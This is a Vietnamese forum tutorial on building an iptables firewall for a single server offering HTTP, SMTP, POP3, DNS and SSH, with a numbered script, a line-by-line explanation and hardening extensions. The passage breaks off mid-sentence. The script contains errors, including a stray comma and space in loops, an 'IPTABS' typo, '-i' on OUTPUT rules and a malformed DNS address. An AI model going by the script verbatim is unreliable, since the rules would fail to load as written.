$IPT -A INPUT -p tcp --tcp-flags SYN,FIN SYN,FIN -s $NET -m limit --limit 1/s -j LOG --log-prefix "SYN-FIN: "
$IPT -A INPUT -p tcp --tcp-flags SYN,FIN SYN,FIN -s $NET -j DROP
$IPT -A INPUT -p tcp --tcp-flags FIN,RST FIN,RST -s $NET -m limit --limit 1/s -j LOG --log-prefix "FIN-RST: "
$IPT -A INPUT -p tcp --tcp-flags FIN,RST FIN,RST -s $NET -j DROP
for entry in $DNS, do
$IPT -A OUTPUT -o $IF -p udp -s $IP --sport $HI_PORTS -d $entry --dport 53 -m state --state NEW -j ACCEPT
$IPT -A INPUT -i $IF -p udp -s $entry --sport 53 -d $IP --dport $HI_PORTS -m state --state ESTABLISHED -j ACCEPT
done
[b]# ấn định chế độ UDP[/b]
for port in $SERV_UDP; do
if test $port -eq 53
then
$IPT -A INPUT -i $IF -p udp -s $NET --sport $port -d $IP --dport $port -m state --state NEW,ESTABLISHED -m limit --limit 2/s --limit-burst 2 -j ACCEPT
$IPT -A OUTPUT -o $IF -p udp -s $IP --sport $port -d $NET --dport $port -m state --state ESTABLISHED -m limit --limit 2/s --limit-burst 2 -j ACCEPT
else
$IPT -A INPUT -i $IF -p udp -s $NET --sport $HI_PORTS -d $IP --dport $port -m state --state NEW -j ACCEPT
$IPT -A OUTPUT -o $IF -p udp -s $IP --sport $port -d $NET --dport $HI_PORTS -m state --state ESTABLISHED -j ACCEPT
fi
done
[b]# ấn định chế độ TCP[/b]
for port in $ SERV_TCP; do
[b]# xử lý các yêu cầu truy cập không hợp lệ[/b]
$IPT -A INPUT -p tcp ! --syn -s $NET --sport $HI_PORTS -d $IP --dport $port -m state --state NEW -m limit --limit 1/s -j LOG --log-prefix "INVALID_SERVICE_REQUEST: "
$IPT -A INPUT -p tcp ! --syn -s $NET --sport $HI_PORTS -d $IP --dport $port -m state --state NEW -j DROP
$IPT -A INPUT -i $IF -p tcp --syn -s $NET --sport $HI_PORTS -d $IP --dport $port -m limit --limit 3/s --limit-burst 5 -m state --state NEW -j ACCEPT
$IPT -A OUTPUT -o $IF -p tcp ! --syn -s $IP --sport $port -d $NET --dport $HI_PORTS -m state --state ESTABLISHED -j ACCEPT
$IPT -A INPUT -i $IF -p tcp ! --syn -s $NET --sport $HI_PORTS -d $IP --dport $port -m state --state ESTABLISHED -j ACCEPT
done
[b]# ấn định chế độ ICMP[/b]
for item in $OK_ICMP; do
$IPTABS -A INPUT -i $IF -s $NET -p icmp --icmp-type $item -m length 42:43 -m limit --limit 1/s --limit-burst 1 -j ACCEPT
$IPTABS -A OUTPUT -o $IF -s $IP -p icmp --icmp-type $item -m length 42:43 -m limit --limit 1/s --limit-burst 1 -j ACCEPT
done
[b]# nhóm luật dọn dẹp[/b]
$IPT -A INPUT -i $IF -d $IP -m limit --limit 1/s -j LOG --log-level 5 --log-prefix "BAD_INPUT: "
$IPT -A INPUT -i $IF -d $IP -j DROP
$IPT -A OUTPUT -i $IF -d $IP -m limit --limit 1/s -j LOG --log-level 5 --log-prefix "BAD_OUTPUT: "
$IPT -A OUTPUT -i $IF -d $IP -j DROP
$IPT -A FORWARD -i $IF -d $IP -m limit --limit 1/s -j LOG --log-level 5 --log-prefix "BAD_FORWARD: "
$IPT -A FORWARD -i $IF -d $IP -j DROP
hnd, vninformatics.com / diendantinhoc.net - 23/07/2004
- Cập nhật 30/1/2005: chi tiết diễn giải --limit và --limit-burst theo đề nghị và phân tích của thaidn (aka mrro), cám ơn đóng góp của thaidn.
<hết phần 2>
Tác giả : Conmale(hnd)
Nguồn : www.diendantinhoc.net
|
|
|
Case 2 - iptables và máy đơn có dịch vụ
Trường hợp điển hình thứ nhì trong việc ứng dụng iptables để bảo vệ máy đơn có dịch vụ.
1. Trường hợp:
Firewall cho một máy đơn có dịch vụ.
2. Nhu cầu:
Bảo vệ máy đơn không bị thâm nhập vào những dịch vụ không dành cho công cộng và cho phép truy cập vào những dịch vụ được ấn định cụ thể.
3. Phương pháp kết nối:
Bất cứ phương tiện nào, (cách tốt nhất) nên có IP tĩnh để có thể tạo dịch vụ công cộng ổn định.
Đòi hỏi tối thiểu:
Đã hoàn tất thành công quy trình kết nối vào Internet và các dịch vụ trên máy đã có thể truy cập được từ Internet.
4. Mô hình:
eth0 là NIC tiếp diện với Internet với IP tĩnh. Mô hình này thích hợp cho các máy đơn (dedicated server) với các dịch vụ thông thường như HTTP, SMTP, POP3, DNS và SSH (quản lý từ xa).
5. Nhóm luật:
Code:
1. IF=`/sbin/route | grep -i 'default' | awk '{print$8}'`
2. IP=`/sbin/ifconfig $IF | grep "inet addr" | awk -F":" '{print$2}' | awk '{print $1}'`
3. IPT="/usr/local/sbin/iptables"
4. NET="any/0"
5. DNS="xxx.xxx.xxx.xxx yyy.yyy.yyy.yyy.yyy"
6. SERV_TCP="22 25 80 443 110"
7. SERV_UDP="53 123"
8. HI_PORTS="1024:65535"
9.
10. $IPT -F
11. $IPT -P INPUT DROP
12. $IPT -P OUTPUT DROP
13. $IPT -P FORWARD DROP
14.
15. for entry in $DNS, do
16. $IPT -A OUTPUT -o $IF -p udp -s $IP --sport $HI_PORTS -d $entry --dport 53 -m state --state NEW -j ACCEPT
17. $IPT -A INPUT -i $IF -p udp -s $entry --sport 53 -d $IP --dport $HI_PORTS -m state --state ESTABLISHED -j ACCEPT
18. done
19.
20. for port in $SERV_UDP; do
21. if test $port -eq 53
22. then
23. $IPT -A INPUT -i $IF -p udp -s $NET --sport $port -d $IP --dport $port -m state --state NEW,ESTABLISHED -j ACCEPT
24. $IPT -A OUTPUT -o $IF -p udp -s $IP --sport $port -d $NET --dport $port -m state --state ESTABLISHED -j ACCEPT
25. else
26. $IPT -A INPUT -i $IF -p udp -s $NET --sport $HI_PORTS -d $IP --dport $port -m state --state NEW -j ACCEPT
27. $IPT -A OUTPUT -o $IF -p udp -s $IP --sport $port -d $NET --dport $HI_PORTS -m state --state ESTABLISHED -j ACCEPT
28. fi
29. done
30.
31. for port in $ SERV_TCP; do
32. $IPT -A INPUT -i $IF -p tcp --syn -s $NET --sport $HI_PORTS -d $IP --dport $port -m state --state NEW -j ACCEPT
33. $IPT -A OUTPUT -o $IF -p tcp ! --syn -s $IP --sport $port -d $NET --dport $HI_PORTS -m state --state ESTABLISHED -j ACCEPT
34. $IPT -A INPUT -i $IF -p tcp ! --syn -s $NET --sport $HI_PORTS -d $IP --dport $port -m state --state ESTABLISHED -j ACCEPT
35. done
36.
37. $IPT -A INPUT -i $IF -d $IP -m limit --limit 1/s -j LOG --log-level 5 --log-prefix "BAD_INPUT: "
38. $IPT -A INPUT -i $IF -d $IP -j DROP
39. $IPT -A OUTPUT -i $IF -d $IP -m limit --limit 1/s -j LOG --log-level 5 --log-prefix "BAD_OUTPUT: "
40. $IPT -A OUTPUT -i $IF -d $IP -j DROP
41. $IPT -A FORWARD -i $IF -d $IP -m limit --limit 1/s -j LOG --log-level 5 --log-prefix "BAD_FORWARD: "
42. $IPT -A FORWARD -i $IF -d $IP -j DROP
6. Phân tích:
- Dòng 1, 2, 3: Đã phân tích trong bài trước (case 1).
- Dòng 4: Ấn định giá trị của biến NET. Đối với iptables, việc ấn định NET=any/0 và ứng dụng trong firewall script không cần thiết (bị thừa) vì nếu không ấn định cụ thể giá trị source (-s) và destination (-d) thì được ngầm hiểu là any/0. Giá trị NET dùng ở đây với mục đích làm rõ các luật trên phương diện gói tin đến và đi.
- Dòng 5: Ấn định giá trị của biến DNS. Đây là một giá trị quan trọng cho trường hợp firewall trên máy đơn và có dịch vụ cho công cộng. Những dịch vụ cho công như web, mail... đều trực tiếp tương tác với cơ chế biên giải giữa IP và tên domain. Giá trị của biến DNS ở đây chính là các IP của một DNS server (biểu thị cho primary DNS và secondary DNS). DNS server này có thể là DNS do ISP cung cấp hoặc chính authoritative DNS -1- do bạn tạo ra. Các giá trị trong biến DNS này tách rời bởi khoảng trống (space) để tiện việc chạy lệnh sau này.
- Dòng 6: Ấn định giá trị của biến SERV_TCP. Biến SERV_TCP chứa giá trị các cổng dịch vụ ở giao thức TCP được firewall mở và kiểm soát. Các giá trị này tách rời bởi khoảng trống. Bạn có thể thêm, bớt các giá trị tùy thích. Nên lưu ý cách ấn định giá trị các cổng trong biến SERV_TCP chỉ là một cách (trong nhiều cách), bạn có thể khai triển tùy thích, miễn sao iptables "biết được" những cổng nào cần mở và cần kiểm soát. Sử dụng phương thức này chỉ thích hợp cho các cổng dịch vụ có tính chất tương tự nhau và bạn muốn kiểm soát các cổng với chế độ tương tự nhau. Cách ứng dụng khác là ấn định mỗi luật một dòng thay vì nhóm lại trong vòng lặp.
- Dòng 7: Ấn định giá trị của biến SERV_UDP. Tương tự như trên, biến SERV_UDP chứa các giá trị cổng dịch vụ ở giao thức UDP được firewall mở và kiểm soát. Riêng phần biến SERV_UDP này có chứa cổng 53 mang tính chất khá đặc biệt so với các cổng dịch vụ khác. Vấn đề này sẽ được bàn sâu hơn cho dòng 20, 21, 22. Tất nhiên bạn không phải quan tâm đến nó nếu bạn không cung cấp dịch vụ DNS từ máy chủ của mình.
- Dòng 8: Ấn định giá trị của biến HI_PORTS. Trong bài viết cho case 1, giá trị này không được nêu lên và sử dụng một cách cụ thể. Trái lại, nó được sử dụng ở đây với mục đích làm rõ các luật bảo vệ và kiểm soát những gói tin ra / vào cần được huy động tới giá trị của biến HI_PORTS này. Cần nói thêm, giá trị của biến HI_PORTS trải dài từ cổng 1024 đến cổng 65535 là các cổng thuộc chuỗi "high ports" hay "unprivileged ports". Mở một socket trong chuỗi cổng này không cần đến quyền hạn root (trên *nix nói chung) và đây là một trong những điểm quan trọng của việc áp đạt chuỗi HI_PORTS trong firewall script sau này.
- Dòng 10, 11, 12, 13: Đã phân tích trong bài trước (case 1).
- Dòng 15-18: Bốn dòng này thuộc một vòng lặp, đặc biệt dùng để xác lập các dòng luật cho phép máy đơn (ở trường hợp này) liên hệ đến các DNS servers (đã ấn định ở biến $DNS ở trên). Đây là nhóm luật hết sức quan trọng và sẽ được các chương trình cung cấp dịch vụ trên mày dùng đến thường xuyên cho nên việc xác định luật này đầu tiên là việc cần thiết.
- Diễn dịch nôm na vòng lặp của dòng 15, 16, 17 và 18 như sau: với mỗi giá trị thuộc biến $DNS, chạy hai dòng 16 và 17 cho đến khi không còn giá trị nào nữa.
- Dòng 16 có ý nghĩa như sau: cho phép các gói tin với giao thức UDP đi ra ngoài bằng IP hiện có xuyên qua IF. Các gói tin này được khởi tạo từ một socket thuộc chuỗi HI_PORTS (nguồn --sport) và đi đến các địa chỉ DNS server đã ấn định trong biến $DNS đến cổng 53 (đích --dport). Thêm vào đó, các gói tin này phải ở tình trạng NEW (trong state table được iptables quản lý). Điều này có nghĩa firewall cho phép máy chủ -2- này khởi tạo các truy cập đến các DNS server đã ấn định (xxx.xxx.xxx.xxx và yyy.yyy.yyy.yyy).
- Dòng 17 có ý nghĩa như sau: cho phép các gói tin với giao thức UDP từ các DNS server đã ấn định được đi đến IP hiện có xuyên qua IF. Các gói tin này được phép trả lời từ cổng 53 của DNS server ấy. Các gói tin ở dạng trả lời này phải ở tình trạng ESTABLISHED (trong state table được iptables quản lý). Điều này có nghĩa firewall cho phép các DNS server đã được ấn định trả lời các truy cập được khởi tạo từ máy chủ. Các gói tin ở tình trạng NEW đến từ các DNS server sẽ bị từ chối.
- Dòng 20-29: tương tự như nhóm dòng 15-18, dòng 20-29 thuộc một vòng lặp để xác lập luật cho các cổng thuộc biến $SERV_UDP cho giao thức UDP. Trong vòng lặp này chứa một một cụm điều kiện cách (if / else) để thử nghiệm và ứng dụng đúng luật thích ứng cho cổng dịch vụ.
- Diễn dịch nôm na vòng lặp 20-29 như sau: với mỗi giá trị thuộc biến $SERV_UDP, chạy các dòng lệnh 23 và 24 nếu một trong những giá trị thuộc biến $SERV_UDP là 53. Nếu không thì chạy các dòng lệnh 26 và 27 cho đến khi không còn giá trị nào nữa.
- Dòng 23 có ý nghĩa như sau: firewall cho phép các gói tin với giao thức UDP đi vào từ bất cứ nơi đâu từ cổng 53 đến cổng 53 của máy chủ. Các gói tin này phải đi đến $IP hiện có xuyên qua $IF và phải ở tình trạng NEW.
- Dòng 24 có ý nghĩa như sau: firewall cho phép các gói tin với giao thức UDP đi ra từ cổng 53 của máy chủ đến cổng 53 của máy đã đòi hỏi truy cập và đã được firewall tiếp nhận ở dòng 22. Các gói tin đi ra ngoài này phải ở tình trạng ESTABLISHED.
- Dòng 26 có ý nghĩa như sau: firewall cho phép các gói tin với giao thức UDP đi vào từ cổng nào đó thuộc dãy $HI_PORTS đến cổng đã ấn định trong biến $SERV_UDP của máy chủ. Các gói tin này phải ở tình trạng NEW.
- Dòng 27 có ý nghĩa như sau: firewall cho phép các gói tin với giao thức UDP đi ra từ cổng đã ấn định trong biến $SERV_UDP (và không phải là cổng 53) của máy chủ đến cổng nào đó thuộc dãy $HI_PORTS dùng để truy cập và đã được firewall tiếp nhận ở dòng 25. Các gói tin đi ra ngoài này phải ở tình trạng ESTABLISHED.
- Dòng 31-35: tương tự như nhóm dòng 20-29. Đây cũng là một vòng lặp dùng để xác lập luật cho các cổng thuộc biến $SERV_TCP cho giao thức TCP. Vòng lặp này không chứa cụm điều kiện cách như nhóm dòng 20-29 vì các cổng dịch vụ đã ấn định trong biến $SERV_TCP mang tính chất tương tự nhau -3-.
- Diễn dịch nôm na vòng lặp 31-35 như sau: với mỗi giá trị thuộc biến $SERV_TCP, chạy các dòng 32, 33 và 34 rồi lặp lại cho giá trị kế tiếp trong biến $SERV_TCP cho đến khi không còn giá trị nào khác.
- Dòng 32 có ý nghĩa như sau: các gói tin ở dạng TCP với cờ hiệu (TCP Flag) là SYN -4- đi vào từ bất cứ nơi nào từ một cổng ở dãy $HI_PORTS đến $IP hiện có xuyên qua $IF để đến cổng $port (giá trị hiện tại của vòng lặp) và ở tình trạng NEW thì tiếp nhận.
- Dòng 33 có ý nghĩa như sau: các gói tin ở dạng TCP không mang cờ hiệu là SYN đi từ $IP hiện có từ cổng $port (giá trị hiện tại của vòng lặp) trả lời cho gói tin yêu cầu truy cập ở trên (đi ra) và ở tình trạng ESTABLISHED thì tiếp nhận.
- Dòng 34 có ý nghĩa như sau: các gói tin ở dạng TCP với cờ hiệu không phải là SYN đi từ nơi gởi gói tin yêu cầu truy cập trên (tiếp tục) đi vào đến cổng $port của $IP hiện có và ở tình trạng ESTABLISHED thì tiếp nhận.
- Dòng 37-42: clean up rules. Đã phân tích ở case 1.
7. Tổng lượt dạng firewall trên:
Đây là dạng firewall được thiết lập cho một máy đơn hỗ trợ dịch vụ. Điểm cốt lõi và khác biệt giữa dạng này và dạng máy đơn không dịch vụ (như ở case 1) là máy đơn hỗ trợ dịch vụ tiếp nhận yêu cầu truy cập và chỉ trả lời yêu cầu truy cập khi những yêu cầu thoả mãn những luật iptables đưa ra (ngoại trừ luật tạo ra ở dòng 16 và 17). Trong khi đó, máy đơn của case 1 mang vai trò yêu cầu truy cập và các dịch vụ bên chỉ có thể trả lời nếu máy đơn này đòi hỏi.
Thử xét luật ở dòng 16 và 17 thì thấy, máy chủ này cần phải khởi tạo một xuất truy cập đến DNS server (và chỉ cụ thể những DNS server được ấn định trong biến $DNS mà thôi). Các DNS server này cũng chỉ có thể trả lời yêu cầu từ máy chủ khi máy chủ "hỏi" và tất nhiên, các DNS server khác sẽ không có cơ hội "trả lời" vì chúng không nằm trong phạm vi cho phép. Điều này cho thấy, máy chủ của chúng ta tin tưởng vào thông tin mà DNS server đã ấn định cung cấp. iptables không thể hạn chế thông tin của các DNS server này cung cấp, ngay cả khi chúng bị hư hoại (poisoned cache chẳng hạn). Ví dụ, www.mypage.net giả định được biên giải thành 123.123.123.123 nhưng DNS server ấy bị nhân nhượng nên www.mypage.net được biên giải thành 124.124.124.124 chẳng hạn thì máy chủ của chúng ta vẫn tiếp nhận gói tin chứa các thông tin này (nếu như chúng thoả mãn các điều kiện iptables đặt ra trên cấp độ ip).
Dòng 23 và 24 có vài điểm cần phân tích. Luật đưa ra ở hai dòng này dùng để kiểm soát và thoả mãn giao thức giữa dịch vụ DNS chạy trên máy chủ của chúng ta và các DNS server khác (server to server). Bởi vậy, thông tin đi và đến xuyên qua cổng 53 từ hai phía (thay vì từ một cổng thuộc $HI_PORTS đến cổng 53 và ngược lại). Đó là lý do tại sao chúng ta phải dùng đến cụm điều kiện cách if / else ở đây. Điểm cốt lõi của hai dòng lệnh này là đưa ra luật kiểm soát cho dịch vụ DNS giữa server và server. Máy chủ cung cấp dịch vụ DNS hầu hết chỉ cần "lắng nghe" và "trả lời" trên cổng 53 UDP ngoại trừ trường hợp một yêu cầu nào đó quá lớn hoặc một yêu cầu cho zone transfer thì mới cần đến cổng 53 TCP -5-
Dòng 26 và 27 tương tự như trên nhưng luật đưa ra dùng để kiểm soát gói tin giữa các clients từ bên ngoài và máy chủ (client to server). Tất nhiên các luật này không ứng dụng cho dịch vụ DNS vì đi đến hai dòng này đã thoát ra ngoài cụm điều kiện cách dùng cho DNS ở trên. Ở đây, thông tin đi xuyên qua cổng 53 của máy chủ và $HI_PORTS của máy con.
Dòng 32, 33, 34 có một số điểm lý thú cần bàn đến. Dựa trên tính "stateful" của giao thức TCP, iptables có thể kiểm soát các gói tin TCP sâu sát hơn UDP rất nhiều.
- Dòng 32 chỉ định rất cụ thể là các gói tin ở tình trạng NEW -6- và có tcp-flags là SYN,RST,ACK SYN thì mới được tiếp nhận. Điều này có nghĩa: một yêu cầu truy cập hoàn toàn mới bằng giao thức TCP thì phải có SYN bit và đối với iptables, gói tin khởi đầu cho một cuộc truy cập hoàn toàn mới vì nó chưa hề có trong bảng theo dõi của netfilter (conntrack table). Vậy nếu một gói tin muốn đi vào (truy cập) nhưng chưa hề có trong bảng theo dõi của netfilter (NEW) và không có SYN bit thì sao? Câu trả lời là tất nhiên iptables sẽ chặn nó lại như theo luật đưa ra ở dòng 32 và đây là điều tốt vì các truy cập hợp lệ (legitimate request) không thể có trường hợp một request mới mà không khởi đầu từ SYN. Trường hợp gói tin ở tình trạng NEW nhưng không có SYN bit rất hiếm thấy (ngoại trừ cố tình tạo ra gói tin ở dạng này để thử thâm nhập). Những gói tin ở trường hợp này đôi khi xuất hiện nếu bạn thiết kế hệ thống "high availability" -7- cho nhiều firewall và các firewall này vì lý do nào đó "lỡ" không chuyển giao các "state" của những gói tin hiện lưu hành xuyên qua firewall nên một gói tin nào đó đang ở tình trạng ESTABLISHED với firewall này có thể ở tình trạng NEW với firewall kia. Nếu iptables nằm trong vùng làm việc của các firewall trên thì thỉnh thoảng sẽ va phải một số gói tin như thế và đây là trường hợp (legitimate) rất ít xảy ra.
- Dòng 33 và 34 dùng để hỗ trợ dòng 32 và tiêu điểm của luật trên hai dòng này là dấu chấm thang (!) đi trước --syn. Chuyện gì sẽ xảy ra ở đây? Ở dòng 32, chúng ta ấn định các gói tin TCP đi vào mang SYN flag và ở tình trạng NEW thì được tiếp nhận, vậy sau khi được tiếp nhận thì chuyện gì tiếp tục xảy ra? Câu trả lời nằm ở dòng 33:
+ các gói tin đi ra ngoài để trả lời mà không mang SYN flag -8- và ở tình trạng ESTABLISHED thì được tiếp nhận. Điều cần nhấn mạnh ở đây là gói tin trả lời đi từ máy chủ của chúng ta không nên là gói tin mang SYN flag bởi vì không có lý do gì để máy chủ phải gởi yêu cầu truy cập đến một máy con nào đó trên Internet. Máy chủ chúng ta dùng để tiếp nhận và trả lời các yêu cầu truy cập cho nên luật ở dòng 33 ngầm chứa một quy định rất khắc khe: không những luật firewall cho máy chủ này chỉ tiếp nhận những yêu cầu đi vào một cách hợp lệ mà còn ngăn ngừa những lưu thông đi ra từ máy chủ một cách thiếu hợp lệ (thử hình dung vì lý do gì đó, máy chủ của chúng ta bị biến thành "zombie" và liên tục gởi SYN request đến các máy khác).
+ tình trạng ESTABLISHED kèm theo trong lệnh này càng nâng cao mức khắc khe. Đối với conntrack table lúc này, gói tin đi ra từ máy chủ để trả lời một yêu cầu truy cập nào đó phải thuộc dạng ESTABLISHED. --syn ở đây ứng dụng cụ thể cho gói tin thuộc giao thức TCP và --state ESTABLISHED ở đây ứng dụng cụ thể cho tính "stateful" của netfilter.
- Dòng 34 tiếp nối hai dòng lệnh trên. Ở giai đoạn này, gói tin đi vào máy chủ và thuộc xuất truy cập hiện tại phải ở tình trạng ESTABLISHED và không mang SYN flag nữa và đây chính là điều được dòng 33 áp đặt. Từ lúc này trở đi, trong suốt xuất truy cập, luật của dòng 33 và 34 điều tác và kiểm soát lưu thông giữa máy con và máy chủ của chúng ta. Cụ thể hơn:
+ nếu cũng từ một IP (cùng một client) gởi một gói tin mang SYN flag và hợp lệ thì nó sẽ được xếp loại NEW và được dòng lệnh 32 "xét xử".
+ nếu cũng từ một IP (cùng một client) gởi một gói tin mang một TCP flag nào đó thiếu hợp lệ và không nằm trong tình trạng được theo dõi bởi conntrack table thì nó bị loại trừ bởi các dòng trong nhóm 37-42 hoặc được quy chế mặc định của firewall xử (còn nhớ -P?).
8. Mở rộng:
Mở rộng? rộng thế nào? . Khó có thể trả lời câu hỏi này thoả đáng vì không có sự cố hoặc nhu cầu thì khó biết được giải pháp? (no solution for unknown problem). Tuy nhiên có vài vấn đề có thể mở rộng một cách tổng quát và ứng dụng cho đa số các trường hợp.
8.1 Vấn đề chung cho mọi giao thức:
8.1.1 Vấn đề các gói tin ở tình trạng INVALID:
Như đã phân tích các tình trạng NEW,RELATED,ESTABLISHED,VALID trong bảng theo dõi của netfilter ở bị chú số 6 (bên dưới). Các gói tin ở tình trạng NEW,RELATED,ESTABLISHED có thể được tiếp nhận tùy theo hoàn cảnh. Tuy nhiên, gói tin ở tình trạng INVALID trên bình diện SPI (xem chú thích về SPI ở case 1), không thể được tiếp nhận với bất cứ lý do nào. Bởi vậy, hai dòng luật như sau có thể đưa vào phía trên dòng 15:
Code:
$IPT -A INPUT -m state --state INVALID -m limit --limit 1/s -j LOG --log-prefix "INVALID_STATE: "
$IPT -A INPUT -m state --state INVALID -j DROP
Dòng trên dùng để log và dòng kế tiếp chính thức cản các gói tin thuộc dạng này. Điểm cần chú ý ở đây là hai dòng lệnh trên không quy định cụ thể loại giao thức nào (bằng thông số -p) cho nên các luật này ứng hiệu cho mọi giao thức. Dòng trên cản phần lớn các gói tin "lạc loài" đi vào firewall với chủ đích hoặc vô tình. Cách áp đặt luật này phía trên dòng 15 không những log và cản các gói tin vi phạm cụ thể mà còn mang tính hiệu năng. Các gói tin vi phạm sẽ bị cản ngay tại vị trí này thay vì tiếp tục đi xuống cho đến khi nào trùng với một luật xử lý nào đó, nếu không thì chúng sẽ tiếp tục đi xuống đến tận chuỗi "clean-up" rule (rồi cũng sẽ bị log và cản). Để duy trì tính an toàn, chúng không nên được phép đi vào.
8.1.2 Vấn đề mạo danh IP của máy chủ:
Kỹ thuật mạo danh IP của một máy nào đó được gọi là "spoofing" theo thuật ngữ chuyên môn. "Spoofing" có nhiều dạng và nhiều mục đích nhưng ở đây chúng ta chỉ đề cập đến trường hợp "ai đó" từ Internet mạo danh địa chỉ của máy chủ chúng ta với mục đích "lừa" firewall mà lẻn vào. Thủ thuật này có độ thành công rất cao khi "thử nghiệm" trên các máy chủ và ngay cả các firewall nếu không điều chỉnh cẩn thận. Thử xét:
Code:
$IPT -A INPUT -i $IF -s $IP -d $IP -m limit --limit 1/s -j LOG --log-prefix "SPOOFING: "
$IPT -A INPUT -i $IF -s $IP -d $IP -j DROP
Các gói tin đi từ bên ngoài vào xuyên qua $IF và từ $IP không thể đến $IP được. Vả lại, làm sao có thể có gói tin được chính IP của máy chủ chúng ta tạo ra lại đi vào từ Internet? Nên nhớ, các gói tin được tạo ra ngay trên chính máy chủ cho chính máy chủ đều đi xuyên qua địa chỉ loopback (127.0.0.1) xuyên qua loopback interface (lo), cho nên, các gói tin đi từ bên ngoài mà mang IP của chính máy chủ chúng ta thì chắc chắn thuộc dạng "spoofing". Tất nhiên để có thể lẻn vào bằng phương thức "spoofing" này, kẻ muốn xâm nhập cần nhiều dữ kiện và điều kiện hơn là chỉ đơn thuần "spoofing" vì SPI là hàng rào cản đầu tiên (xem INVALID state ở trên).
8.2 Vấn đề thuộc giao thức TCP:
8.2.1 Loại trừ các truy cập mang tính thiếu hợp lệ
Thử mở rộng một vài TCP flags như đã bàn đến trong phần 7 ở trên -9-
Code:
a. $IPT -A INPUT -p tcp --tcp-flags SYN,FIN SYN,FIN -s $NET -j DROP
Một gói tin mang tcp flag SYN và FIN cùng một lượt không thể là một gói tin bình thường và hợp lệ. SYN-FIN chỉ thường thấy ở các thao tác rà cổng (port scan) hoặc được dùng với ý định không trong sáng. Gói tin ở dạng này nên loại trừ trước khi đi sâu vào hệ thống. Nếu cần phải log, bạn chỉ cần áp đặt một dòng luật tương tự với target là LOG ở trên.
Code:
b. $IPT -A INPUT -p tcp --tcp-flags FIN,RST FIN,RST -s $NET -j DROP
Một gói tin mang tcp flag FIN và RST cùng một lượt cũng có thể được xem bất hợp lệ. FIN flag trong một gói tin hợp lệ dùng để thông báo đầu bên kia dòng tin được chấm dứt để xuất truy cập được kết thúc đúng quy cách. Trong khi đó, RST flag dùng để "xé" ngang một xuất truy cập bất chợt. Trường hợp FIN và RST cùng trong một gói tin là điều bất thường và không nên tiếp nhận.
Trường hợp a, b và các trường hợp tương tự đều có thể tạo những tác động không tốt đến dịch vụ trên máy chủ. Chúng khiến cho hệ thống trên máy chủ phải làm việc nhiều hơn một cách không cần thiết và một số trường hợp các gói tin được "nắn ép" cẩn thận có thể dung hại nặng nề đến hệ thống. Tương tự như đã phân tích ở phần 8.1, hai dòng này nên đặt trên dòng 15 (hoặc trên các dòng lệnh bắt đầu cho phép tiếp nhận gói tin) để mang lại tính cụ thể và hiệu năng khi đưa ra các luật cụ thể.
8.2.2 Cản và log cụ thể cho TCP:
Trên dòng chúng ta cho phép các gói tin TCP đi vào phải mang SYN flag và ở tình trạng NEW. Tất nhiên, các gói tin không thoả mãn quy định trên sẽ bị log và cản ở dòng luật 37, 38. Nếu chúng ta không cần phải log chi tiết chuyện gì xảy và thì đoạn firewall script ở trên vừa đủ để hoạt động. Tuy nhiên, nếu chúng ta cần log và cản các gói tin vi phạm một cách cụ thể thì sao?
Code:
$IPT -A INPUT -p tcp ! --syn -s $NET --sport $HI_PORTS -d $IP --dport $port -m state --state NEW -m limit --limit 1/s -j LOG --log-prefix "INVALID_SERVICE_REQUEST: "
$IPT -A INPUT -p tcp ! --syn -s $NET --sport $HI_PORTS -d $IP --dport $port -m state --state NEW -j DROP
Hai dòng trên là câu trả lời. Các gói tin TCP không mang SYN flag mà ở tình trạng NEW thì bị log và bị cản một cách cụ thể. Hai dòng này có thể được đưa vào phía trên dòng 32 (còn nhớ đến tính quan trọng với thứ tự của các luật?). Tất nhiên, tính cụ thể và hiệu năng sẽ được hình thành nếu áp đặt chúng ở đúng vị trí.
8.2.3 Loại trừ các truy cập hợp lệ nhưng nguy hại
Có lẽ bạn sẽ hỏi, tại sao các truy cập đã hợp lệ mà lại có thể nguy hại. Cho đến lúc này, chúng ta chỉ áp đặt các luật để cản những gói tin bất hợp lệ. Tuy nhiên, không nhất thiết các gói tin hợp lệ trên bình diện giao thức cũng hợp lệ trên bình diện tinh thần. Trường hợp điển hình nhất là phương thức xử dụng các gói tin hợp lệ để làm cạn kiệt tài nguyên của máy chủ. Thử hình dung trường hợp 1000 truy cập đến máy chủ trong vòng vài giây (chẳng hạn),
- liệu máy chủ đủ sức đáp ứng hay không?
- trong 1000 truy cập này, có bao nhiêu truy cập với "thiện ý" và bao nhiêu với "ác ý"?
- làm sao phân biệt và xử lý những truy cập "ác ý" trong mớ 1000 truy cập ấy?
Trên thực tế, khó có thể phân biệt một cách chính xác các truy cập thiện ý hoặc ác ý nhưng chúng ta có thể biết được những truy cập thiện ý thường có biên độ nhất định -10-
8.2.3.1 Giới hạn truy cập với "connection rate"
"Connection rate" có thể thực hiện bằng chọn lựa -m limit cho bất cứ giao thức nào. Chúng ta chỉ đề cập ở đây cho giao thức TCP và sẽ ứng dụng cho các giao thức khác theo ý muốn. Thử đổi dòng 32 từ:
Code:
$IPT -A INPUT -i $IF -p tcp --syn -s $NET --sport $HI_PORTS -d $IP --dport $port -m state --state NEW -j ACCEPT
trở thành:
Code:
$IPT -A INPUT -i $IF -p tcp --syn -s $NET --sport $HI_PORTS -d $IP --dport $port -m limit --limit 3/s --limit-burst 5 -m state --state NEW -j ACCEPT
Chuỗi -m limit --limit 3/s --limit-burst 3 dùng CONFIG_IP_NF_MATCH_LIMIT trên netfilter, một "match" trong gói căn bản và đã được tích hợp vào Linux kernel. "limit match" này ảnh hưởng lớn lao đến dòng lệnh trên bình diện giới hạn "connection rate". Chuỗi này ấn định các gói tin mang SYN flag từ một IP nào đó truy cập đến cổng dịch vụ của máy chủ ở tình trạng NEW. Trong chuỗi -m limit --limit 3/s --limit-burst 3 này, khi ứng dụng trong dòng lệnh, một gói tin sẽ được xử lý theo cơ chế:
